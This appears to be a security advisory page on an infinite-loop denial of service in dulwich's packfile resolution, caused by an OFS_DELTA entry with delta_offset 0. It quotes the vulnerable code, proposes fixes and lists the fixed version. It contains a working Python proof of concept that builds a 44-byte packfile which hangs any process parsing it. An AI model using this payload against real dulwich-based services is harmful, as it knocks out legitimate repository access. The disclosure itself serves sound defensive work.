Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution
Affected file
dulwich/pack.py(Method:Pack.resolve_object)
Description / Summary
A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.
If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.
Vulnerable Code Breakdown (dulwich/pack.py):
elif obj_type == OFS_DELTA:
delta_offset = parse_pack_object_offset_at(...)
base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0
base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion
Potential impact
An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).
- CPU Exhaustion: The process will spin at 100% CPU indefinitely.
- Denial of Service: Any service using
dulwich(web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. - Protocol Incompatibility: This behavior violates the Git packfile specification. The standard
gitC client explicitly guards against this:if (!base_offset) die("delta offset == 0 is invalid");.
POC (Proof of Concept)
The following Python script generates a 44-byte packfile that triggers the loop:
from dulwich.pack import Pack
import struct, zlib, tempfile, os
# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body
pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)
fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)
# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
Possible solution
- Explicit Guard: Add a check in
Pack.resolve_objectto rejectdelta_offset == 0:pythonif delta_offset == 0: raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0") - Recursion Depth: Implement a depth limit (e.g.,
MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | dulwich | < 1.2.9 | 1.2.9 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-835- Platform
- Python (PyPI)
- Package
dulwich- Disclosed
- 02.10.2026
- Updated
- 11.10.2026 15:18
Sources and licenses
OSV / GitHub Advisory Database - GHSA-35mr-4567-66vg - CC BY 4.0
Vulnerability history: dulwich
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 13
- First → latest
- 03.2015 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 7
- Medium 2
- Low 1
Disclosures per year
- 2017: 1
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 10
earlier: 2
-
Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.